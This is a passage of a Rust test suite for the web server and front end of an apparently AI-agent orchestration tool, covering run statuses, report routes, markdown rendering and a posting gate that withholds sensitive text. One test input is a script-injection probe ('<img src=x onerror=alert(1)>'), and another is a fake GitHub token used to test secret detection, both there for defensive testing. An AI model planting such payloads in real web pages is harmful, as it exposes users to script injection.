20392        assert_eq!(detail.badge_status, "superseded");
20393        let json = serde_json::to_value(&detail).unwrap();
20394        assert_eq!(json["badge_status"], "superseded");
20395        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20396        assert_eq!(detail.badge_status, "stale");
20397    }
20398
20399    #[tokio::test]
20400    async fn run_display_status_routes_share_the_open_question_store() {
20401        let f = Fixture::start().await;
20402        let id = "20260922-090200-abcd";
20403        write_run(&f.runs(), id, RunStatus::Judging);
20404        let mut state = read_run(&f.runs(), id).unwrap();
20405        state.parked = true;
20406        state.driver_exited = true;
20407        state.event("github-text", "waiting for the owner");
20408        state.save_under(f.home.path()).unwrap();
20409        let mut task = Task::new(
20410            "resumed task".to_owned(),
20411            "do it".to_owned(),
20412            PathBuf::from("/repo"),
20413            Source::Human,
20414        );
20415        task.runs = vec![id.to_owned(), id.to_owned()];
20416        f.queue().put(&mut task).unwrap();
20417        let store = f.questions();
20418        let mut q = Question::new(
20419            id.to_owned(),
20420            "github-text".to_owned(),
20421            "owner".to_owned(),
20422            "Approve the text?".to_owned(),
20423            String::new(),
20424            Vec::new(),
20425        );
20426        store.put(&mut q).unwrap();
20427        for expected in ["waiting", "parked"] {
20428            let list = f.get("/api/runs").await.json();
20429            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20430            assert_eq!(list[0]["display_status"], expected);
20431            assert_eq!(detail["display_status"], expected);
20432            assert_eq!(detail["waiting"], list[0]["waiting"]);
20433            assert_eq!(list[0]["badge_status"], expected);
20434            assert_eq!(detail["badge_status"], expected);
20435            assert!(list[0]["superseded_by"].is_null());
20436            assert!(detail["superseded_by"].is_null());
20437            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20438            let history = task_detail["history"].as_array().unwrap();
20439            assert_eq!(history.len(), 2);
20440            assert!(history[0]["badge"].is_null());
20441            assert_eq!(history[1]["badge"], expected);
20442            q.status = ask::QuestionStatus::Answered;
20443            store.put(&mut q).unwrap();
20444        }
20445    }
20446
20447    #[tokio::test]
20448    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20449        let f = Fixture::start().await;
20450        let id = "20260922-090200-abcd";
20451        write_run(&f.runs(), id, RunStatus::Judging);
20452        let mut state = read_run(&f.runs(), id).unwrap();
20453        state.parked = true;
20454        state.driver_exited = true;
20455        state.event("park", "stopped at a node boundary");
20456        state.save_under(f.home.path()).unwrap();
20457
20458        for expected in ["parked", "stale"] {
20459            let list = f.get("/api/runs").await.json();
20460            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20461            assert_eq!(list[0]["live"], "dead");
20462            assert_eq!(list[0]["display_status"], expected);
20463            assert_eq!(detail["display_status"], expected);
20464            // Model a driver claim followed by a crash before the next event:
20465            // the persisted flag changes, but the last event is still park.
20466            state.parked = false;
20467            state.save_under(f.home.path()).unwrap();
20468        }
20469    }
20470
20471    #[tokio::test]
20472    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20473        let f = Fixture::start().await;
20474        for id in [
20475            "20260902-140501-aaaa",
20476            "20260902-140502-bbbb",
20477            "20260902-140503-cccc",
20478        ] {
20479            write_run(&f.runs(), id, RunStatus::Merged);
20480        }
20481
20482        let all = f.get("/api/runs").await.json();
20483        let capped = f.get("/api/runs?limit=2").await.json();
20484
20485        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20486        assert_eq!(all.as_array().map(Vec::len), Some(3));
20487        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20488        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20489    }
20490
20491    #[tokio::test]
20492    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20493        let f = Fixture::start().await;
20494        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20495
20496        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20497
20498        assert_eq!(res.status, 200);
20499        assert!(
20500            res.headers
20501                .contains("content-type: text/plain; charset=utf-8"),
20502            "a browser must render it, not download it: {}",
20503            res.headers
20504        );
20505        // The assertion is on content, not on the absence of escapes: colour
20506        // is a process-global that `serve` turns off at startup, and another
20507        // test in this binary may own it while this one runs.
20508        assert!(
20509            res.body.contains("20260902-140501-a1b2"),
20510            "the report is about the run that was asked for: {}",
20511            res.body
20512        );
20513    }
20514
20515    #[tokio::test]
20516    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20517        // The view names the run's state directory, which reads the process-global home.
20518        crate::run::pin_test_home();
20519        let f = Fixture::start().await;
20520        let id = "20260902-140501-a1b2";
20521        write_run(&f.runs(), id, RunStatus::Stalled);
20522        // A stalled panel and one review round, written through the real
20523        // state file so the route reads what a run really leaves behind.
20524        let path = f.runs().join(id).join("run.json");
20525        let mut v: serde_json::Value =
20526            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20527        v["tally"] = serde_json::json!({
20528            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20529            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20530            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20531            "met_quorum": false, "rankings": 1
20532        });
20533        v["reviews"] = serde_json::json!([{
20534            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20535            "e2e_deferred": true,
20536            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20537                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20538            ]}]
20539        }]);
20540        std::fs::write(&path, v.to_string()).unwrap();
20541        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20542        std::fs::write(
20543            f.runs().join("20260902-140502-dead").join("run.json"),
20544            "{not json",
20545        )
20546        .unwrap();
20547
20548        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20549
20550        assert_eq!(res.status, 200, "{}", res.body);
20551        assert!(res.headers.contains("content-type: application/json"));
20552        let j = res.json();
20553        assert_eq!(j["schema"], 1);
20554        assert_eq!(j["header"]["id"], id);
20555        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20556        let kinds: Vec<&str> = j["sections"]
20557            .as_array()
20558            .unwrap()
20559            .iter()
20560            .map(|s| s["kind"].as_str().unwrap())
20561            .collect();
20562        assert_eq!(kinds, ["candidates", "tally", "review"]);
20563        let tally = &j["sections"][1]["tally"];
20564        assert_eq!(
20565            (tally["decided"].clone(), tally["provisional"].clone()),
20566            (false.into(), true.into())
20567        );
20568        let round = &j["sections"][2]["rounds"][0];
20569        assert_eq!(round["e2e"]["state"], "deferred");
20570        assert_eq!(round["findings"][0]["severity"], "major");
20571        assert_eq!(round["findings"][0]["blocking"], true);
20572        assert_eq!(round["findings"][0]["state"], "open");
20573
20574        // The raw route keeps working beside it.
20575        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20576
20577        // An unreadable run is an error, as on the text route, and is counted.
20578        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20579        assert_ne!(bad.status, 200, "{}", bad.body);
20580        assert_eq!(
20581            bad.status,
20582            f.get("/api/runs/20260902-140502-dead/report").await.status
20583        );
20584        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20585        assert_eq!(
20586            f.get("/api/runs/20260902-999999-ffff/report.json")
20587                .await
20588                .status,
20589            404
20590        );
20591    }
20592
20593    #[tokio::test]
20594    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20595        crate::run::pin_test_home();
20596        let f = Fixture::start().await;
20597        let id = "20260902-140503-delib";
20598        write_run(&f.runs(), id, RunStatus::Merged);
20599        let path = f.runs().join(id).join("run.json");
20600        let mut v: serde_json::Value =
20601            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20602        v["judgements"] = serde_json::json!([
20603            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20604        ]);
20605        v["tally"] = serde_json::json!({
20606            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20607            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20608            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20609            "met_quorum": true, "rankings": 1
20610        });
20611        v["deliberation"] = serde_json::json!([
20612            {
20613                "round": 1,
20614                "turns": [
20615                    {
20616                        "judge": 1,
20617                        "agent": "judge-1",
20618                        "body": "I prefer candidate **A** because it has cleaner tests.",
20619                        "tentative": "A"
20620                    }
20621                ]
20622            },
20623            {
20624                "round": 2,
20625                "turns": [
20626                    {
20627                        "judge": 1,
20628                        "agent": "judge-1",
20629                        "body": "Still thinking, no choice yet.",
20630                        "tentative": null
20631                    }
20632                ]
20633            }
20634        ]);
20635        std::fs::write(&path, v.to_string()).unwrap();
20636
20637        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20638        assert_eq!(res.status, 200, "{}", res.body);
20639        let j = res.json();
20640        let judging = j["sections"]
20641            .as_array()
20642            .unwrap()
20643            .iter()
20644            .find(|s| s["kind"] == "judging")
20645            .expect("judging section exists");
20646
20647        // Existing summary lines remain intact
20648        let delib_lines = judging["deliberation"].as_array().unwrap();
20649        assert_eq!(delib_lines.len(), 2);
20650        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20651        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20652
20653        // rounds carry turn bodies, tentative and parsed body_md
20654        let rounds = judging["rounds"].as_array().unwrap();
20655        assert_eq!(rounds.len(), 2);
20656        let r1_t0 = &rounds[0]["turns"][0];
20657        assert_eq!(r1_t0["judge"], 1);
20658        assert_eq!(r1_t0["agent"], "judge-1");
20659        assert_eq!(r1_t0["tentative"], "A");
20660        assert_eq!(
20661            r1_t0["body"],
20662            "I prefer candidate **A** because it has cleaner tests."
20663        );
20664        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20665
20666        let r2_t0 = &rounds[1]["turns"][0];
20667        assert_eq!(r2_t0["judge"], 1);
20668        assert_eq!(r2_t0["agent"], "judge-1");
20669        assert!(r2_t0["tentative"].is_null());
20670        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20671        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20672
20673        // A run with empty deliberation array yields empty rounds
20674        let id_empty = "20260902-140504-nodelib";
20675        write_run(&f.runs(), id_empty, RunStatus::Merged);
20676        let path_empty = f.runs().join(id_empty).join("run.json");
20677        let mut v_empty: serde_json::Value =
20678            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20679        v_empty["judgements"] = serde_json::json!([
20680            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20681        ]);
20682        v_empty["deliberation"] = serde_json::json!([]);
20683        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20684
20685        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20686        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20687        let j_empty = res_empty.json();
20688        let judging_empty = j_empty["sections"]
20689            .as_array()
20690            .unwrap()
20691            .iter()
20692            .find(|s| s["kind"] == "judging")
20693            .expect("judging section exists");
20694        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20695    }
20696
20697    #[tokio::test]
20698    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20699        let f = Fixture::start().await;
20700
20701        let html = f.get("/").await;
20702        let css = f.get("/app.css").await;
20703        let js = f.get("/app.js").await;
20704
20705        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20706        assert!(
20707            html.headers
20708                .contains("content-type: text/html; charset=utf-8")
20709        );
20710        assert!(css.headers.contains("content-type: text/css"));
20711        assert!(js.headers.contains("content-type: text/javascript"));
20712        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20713    }
20714
20715    #[test]
20716    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20717        let body = |name: &str| {
20718            let at = APP_JS
20719                .find(name)
20720                .unwrap_or_else(|| panic!("{name} missing"));
20721            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20722        };
20723        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20724        let note = body("function landRoundNote");
20725        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20726        assert!(note.contains("Land round ${round}"));
20727        let land = body("function renderLand");
20728        let note_at = land
20729            .find("landRoundNote(pr)")
20730            .expect("renderLand uses the note");
20731        assert!(
20732            note_at
20733                < land
20734                    .find("roundRail(pr)")
20735                    .expect("renderLand uses the rail")
20736        );
20737    }
20738
20739    #[test]
20740    fn the_runs_page_redesign_keeps_its_guards() {
20741        let body = |name: &str| {
20742            let at = APP_JS
20743                .find(name)
20744                .unwrap_or_else(|| panic!("{name} missing"));
20745            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20746        };
20747        // A null child must never reach the native append (it prints "null").
20748        let land = body("function renderLand");
20749        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20750        assert!(
20751            !land.contains("box.append("),
20752            "renderLand must use append()"
20753        );
20754        assert!(land.contains("append(box, ["));
20755        // Tabs are hash routes; the run id alone decides a reload.
20756        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20757        assert!(
20758            body("function applyRoute")
20759                .contains("route.name !== state.route.name || route.id !== state.route.id")
20760        );
20761        // The decorative diagram is gone, the strip and its guards stay.
20762        assert!(!APP_JS.contains("adviseConvergeDiagram"));
20763        assert!(!INDEX_HTML.contains("advise-converge"));
20764        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20765        assert!(APP_JS.contains("provisional"));
20766        for id in [
20767            "run-tab-overview",
20768            "run-tab-timeline",
20769            "run-tab-report",
20770            "run-report",
20771            "runs-scope",
20772        ] {
20773            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20774        }
20775        assert!(!INDEX_HTML.contains("runs-tree"));
20776        assert!(!INDEX_HTML.contains("run-raw-panel"));
20777        // Fold still says it cannot be resumed.
20778        assert!(APP_JS.contains("resume"));
20779        // The unreadable-runs count stays on the page.
20780        assert!(APP_JS.contains("unreadable"));
20781    }
20782
20783    #[test]
20784    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20785        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20786        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20787        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
20788        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20789        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20790        // The subtitle still counts them whatever the banner does.
20791        assert!(APP_JS.contains("unreadable` : null"));
20792    }
20793
20794    #[test]
20795    fn blocked_run_detail_exposes_the_failed_gate_reason() {
20796        let mut state = RunState::new(
20797            "/repo".into(),
20798            "main".into(),
20799            "abc".into(),
20800            "task".into(),
20801            crate::config::Config::default(),
20802        );
20803        state.status = RunStatus::Blocked;
20804        state.gate_ran = true;
20805        state.gate.push(crate::run::CommandOutcome {
20806            command: "cargo make check".into(),
20807            code: Some(1),
20808            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20809            duration_ms: 0,
20810            resource_blocked: false,
20811        });
20812        let view = RunDetailView::of(
20813            state,
20814            false,
20815            crate::run::Liveness::Unknown,
20816            None,
20817            None,
20818            None,
20819        );
20820        let value = serde_json::to_value(view).unwrap();
20821        assert_eq!(
20822            value["stop_reason"],
20823            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20824        );
20825    }
20826
20827    #[test]
20828    fn the_run_detail_payload_says_whether_the_run_is_done() {
20829        // `landView` reads `run.done`; the detail response must carry it.
20830        for (status, done) in [
20831            (RunStatus::Superseded, true),
20832            (RunStatus::Blocked, true),
20833            (RunStatus::Landing, false),
20834        ] {
20835            let mut state = RunState::new(
20836                std::path::PathBuf::from("/repo"),
20837                "main".to_owned(),
20838                "abc".to_owned(),
20839                "x".to_owned(),
20840                crate::config::Config::default(),
20841            );
20842            state.status = status;
20843            let v = serde_json::to_value(RunDetailView::of(
20844                state,
20845                false,
20846                crate::run::Liveness::Unknown,
20847                None,
20848                None,
20849                None,
20850            ))
20851            .unwrap();
20852            assert_eq!(v["done"], done, "{status:?}");
20853        }
20854    }
20855
20856    /// The first node of a markdown block holds a `strong` somewhere.
20857    fn has_strong(nodes: &[md::Node]) -> bool {
20858        serde_json::to_string(nodes).unwrap().contains("strong")
20859    }
20860
20861    #[test]
20862    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20863        let mut state = RunState::new(
20864            std::path::PathBuf::from("/repo"),
20865            "main".to_owned(),
20866            "abc".to_owned(),
20867            "x".to_owned(),
20868            crate::config::Config::default(),
20869        );
20870        let proposal = |approach: &str| {
20871            serde_json::json!({
20872                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20873            })
20874        };
20875        state.advice = Some(
20876            serde_json::from_value(serde_json::json!({
20877                "records": [
20878                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20879                     "proposal": proposal("do **this**")},
20880                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20881                ],
20882                "synthesis": "- one\n- **two**\n\n`code`",
20883            }))
20884            .unwrap(),
20885        );
20886        state.candidates = serde_json::from_value(serde_json::json!([
20887            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20888             "summary": "did **it**"},
20889            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20890        ]))
20891        .unwrap();
20892        // Recorded in ascending severity, the reverse of how the page sorts
20893        // them: the arrays must follow the record, not the display.
20894        state.reviews = serde_json::from_value(serde_json::json!([{
20895            "round": 1, "head": "h",
20896            "reviews": [{
20897                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20898                "findings": [
20899                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20900                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20901                ],
20902            }],
20903            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20904            "fix": {"agent": "a", "notes": "fixed **it**",
20905                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20906        }, {"round": 2, "head": "h2", "reviews": []}]))
20907        .unwrap();
20908
20909        let v = serde_json::to_value(RunDetailView::of(
20910            state,
20911            false,
20912            crate::run::Liveness::Unknown,
20913            None,
20914            None,
20915            None,
20916        ))
20917        .unwrap();
20918
20919        let strong = |p: &str| {
20920            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20921            assert!(n.to_string().contains("strong"), "{p}: {n}");
20922        };
20923        strong("/advice_md/synthesis");
20924        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20925        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20926        strong("/advice_md/approaches/0");
20927        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20928        strong("/candidate_summaries_md/0");
20929        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20930        strong("/reviews_md/0/reviewers/0/summary");
20931        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20932        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20933        assert!(f[1].to_string().contains("strong"));
20934        strong("/reviews_md/0/reconsideration/0");
20935        strong("/reviews_md/0/fix/notes");
20936        strong("/reviews_md/0/fix/rejected/0");
20937        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20938        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20939        // The raw strings stay, and no schema moved.
20940        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20941        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20942    }
20943
20944    #[test]
20945    fn a_run_without_advice_has_no_advice_md() {
20946        let state = RunState::new(
20947            std::path::PathBuf::from("/repo"),
20948            "main".to_owned(),
20949            "abc".to_owned(),
20950            "x".to_owned(),
20951            crate::config::Config::default(),
20952        );
20953        let p = run_prose_md(&state);
20954        assert!(p.advice_md.is_none());
20955        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20956    }
20957
20958    #[test]
20959    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20960        let store = ask::Questions::at(PathBuf::from("unused"));
20961        let gt = crate::github_text::Withheld {
20962            title: false,
20963            body: true,
20964            categories: vec!["sensitive-data".into()],
20965        };
20966        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20967        let (detail, comparison) =
20968            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20969        let mut q = Question::new(
20970            "r".into(),
20971            "github-text".into(),
20972            "posting-gate".into(),
20973            "s".into(),
20974            detail,
20975            Vec::new(),
20976        );
20977        assert!(
20978            QuestionView::of(q.clone(), &store, None)
20979                .posting_view
20980                .is_none()
20981        );
20982        q.posting_comparison = Some(comparison);
20983        let view = QuestionView::of(q.clone(), &store, None);
20984        let field = &view.posting_view.unwrap().fields[0];
20985        assert_eq!(
20986            field
20987                .original
20988                .iter()
20989                .map(|f| f.text.as_str())
20990                .collect::<String>(),
20991            body
20992        );
20993        assert!(field.original[0].text.starts_with("<img"));
20994        let original_question: Question =
20995            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20996        assert_eq!(original_question, q);
20997        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20998            .original
20999            .start = 1;
21000        assert!(
21001            QuestionView::of(q.clone(), &store, None)
21002                .posting_view
21003                .is_none()
21004        );
21005        q.posting_comparison = original_question.posting_comparison;
21006        q.detail.push_str("extra context");
21007        assert!(
21008            QuestionView::of(q.clone(), &store, None)
21009                .posting_view
21010                .is_some()
21011        );
21012        q.detail.insert(0, 'x');
21013        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21014    }
21015
21016    #[test]
21017    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21018        let store = ask::Questions::at(PathBuf::from("unused"));
21019        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21020        let gt = crate::github_text::Withheld::from_check(
21021            &crate::github_text::check("fix: x", body),
21022            "fix: x",
21023            body,
21024        )
21025        .unwrap();
21026        let (detail, comparison) =
21027            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21028        let mut q = Question::new(
21029            "r".into(),
21030            "github-text".into(),
21031            "posting-gate".into(),
21032            "s".into(),
21033            detail,
21034            Vec::new(),
21035        );
21036        q.posting_comparison = Some(comparison);
21037        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21038        let field = &value["posting_view"]["fields"][0];
21039        let group = &field["replacement_group"];
21040        let triggers = group["triggers"].as_array().unwrap();
21041        assert_eq!(triggers.len(), 2);
21042        assert_ne!(triggers[0], triggers[1]);
21043        for id in triggers {
21044            assert!(
21045                field["original"]
21046                    .as_array()
21047                    .unwrap()
21048                    .iter()
21049                    .any(|f| &f["pair"] == id)
21050            );
21051            assert!(
21052                !field["changed"]
21053                    .as_array()
21054                    .unwrap()
21055                    .iter()
21056                    .any(|f| &f["pair"] == id)
21057            );
21058        }
21059        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21060            group["id"].as_u64().unwrap() as usize;
21061        assert!(
21062            QuestionView::of(q, &store, None).posting_view.is_none(),
21063            "group and trigger IDs cannot collide"
21064        );
21065    }
21066
21067    #[test]
21068    fn a_question_view_carries_markdown_for_each_thread_turn() {
21069        let home = TempDir::new().unwrap();
21070        let store = ask::Questions::at(home.path().join("questions"));
21071        let mut q = Question::new(
21072            "run".to_owned(),
21073            "implement".to_owned(),
21074            "impl-A".to_owned(),
21075            "which?".to_owned(),
21076            String::new(),
21077            Vec::new(),
21078        );
21079        q.say("plain words").unwrap();
21080        q.reply("use **this**", Vec::new()).unwrap();
21081        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21082        let bodies = &v["thread_bodies_md"];
21083        assert_eq!(bodies.as_array().unwrap().len(), 2);
21084        assert!(!bodies[0].to_string().contains("strong"));
21085        assert!(bodies[1].to_string().contains("strong"));
21086    }
21087
21088    #[test]
21089    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21090        let home = TempDir::new().unwrap();
21091        let store = ask::Questions::at(home.path().join("questions"));
21092        let mut q = Question::new(
21093            "run".to_owned(),
21094            "conduct".to_owned(),
21095            "conduct".to_owned(),
21096            "which?".to_owned(),
21097            String::new(),
21098            Vec::new(),
21099        );
21100        q.say("plain words").unwrap();
21101        q.thread.push(ask::Turn {
21102            who: ask::Who::Agent,
21103            body: "Settled as `merge`".to_owned(),
21104            at: jiff::Timestamp::now(),
21105            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21106        });
21107        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21108        let notes = &v["thread_notes_md"];
21109        assert_eq!(notes.as_array().unwrap().len(), 2);
21110        assert!(notes[0].is_null());
21111        let text = notes[1].to_string();
21112        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21113        assert!(APP_JS.contains("ask-turn-note"));
21114    }
21115
21116    #[test]
21117    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21118        // The land panel defers to `run.status` for merged, and labels a
21119        // recorded-open PR on any finished run (superseded, blocked, ...) as
21120        // last seen, never as live state.
21121        assert!(APP_JS.contains("function landView(run, raw) {"));
21122        assert!(
21123            APP_JS.contains(
21124                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21125            )
21126        );
21127        assert!(APP_JS.contains("const pr = landView(run, raw);"));
21128        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21129        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21130        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21131    }
21132
21133    #[test]
21134    fn live_runs_are_never_hidden_or_folded_as_superseded() {
21135        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
21136        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21137        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21138        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21139    }
21140
21141    #[test]
21142    fn review_rounds_label_a_distinct_verified_head() {
21143        assert!(APP_JS.contains("round.verified_head"));
21144        assert!(APP_JS.contains("verified HEAD"));
21145        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21146    }
21147
21148    #[test]
21149    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21150        // A blocked task's chip and note must not fall back to a queued-like
21151        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
21152        // itself by e11fc58 but never checked here.
21153        assert!(APP_JS.contains("blocked: { glyph:"));
21154        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21155
21156        // `blocked_by` mixes task ids and question ids in the same list, and
21157        // the client can only tell them apart by checking each id against
21158        // what it actually knows - never by guessing from the id's shape.
21159        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21160        assert!(
21161            APP_JS.contains(
21162                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21163            ),
21164            "the note line must name what a blocked task is waiting on, not just that it is blocked"
21165        );
21166        // The classification must key off `status_str`, never off `blocked_by`
21167        // or `block_reason` merely being present - both can survive briefly
21168        // on a task a hold or a dead daemon just moved off `blocked`.
21169        assert!(APP_JS.contains("if (status === \"blocked\") {"));
21170
21171        // A question a task is blocked on gets its own node in the same
21172        // dependency graph, not just a task-shaped node with nothing known
21173        // about it.
21174        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21175        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21176        assert!(
21177            APP_JS.contains("location.hash = \"#/questions\";"),
21178            "a question node must jump to the Questions screen, not pretend to be a task"
21179        );
21180
21181        // `Task::answers` - decisions already made - are shown as a record on
21182        // the card, the same disclosure style as the full instruction.
21183        assert!(APP_JS.contains("Resolved questions"));
21184        assert!(APP_JS.contains("r.answersList.append("));
21185        assert!(APP_CSS.contains(".task-answers"));
21186        {
21187            let start = APP_JS
21188                .find("function updateTalkTaskRow")
21189                .expect("updateTalkTaskRow");
21190            let body = &APP_JS[start..];
21191            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21192            assert!(
21193                body.contains(
21194                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21195                ),
21196                "a chat-filed task row must link to the task page"
21197            );
21198            assert!(
21199                !body.contains("#/runs/") && !body.contains("#/queue/"),
21200                "the row must not branch to a run or the queue card"
21201            );
21202            assert!(APP_CSS.contains(".talk-task-link"));
21203        }
21204    }
21205
21206    #[test]
21207    fn a_task_notification_links_to_the_task_page() {
21208        // A task notice opens the task detail page, not the Backlog card.
21209        let start = APP_JS
21210            .find("function noticeLink(")
21211            .expect("noticeLink exists");
21212        let body = &APP_JS[start..];
21213        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21214        assert!(
21215            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21216            "a task notice's link must target the task page"
21217        );
21218        assert!(
21219            !body.contains("#/queue/"),
21220            "regression: the task link must not go back to the Backlog route"
21221        );
21222        assert!(
21223            APP_JS.contains(
21224                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21225            ),
21226            "`#/tasks/<id>` must parse into the task route"
21227        );
21228
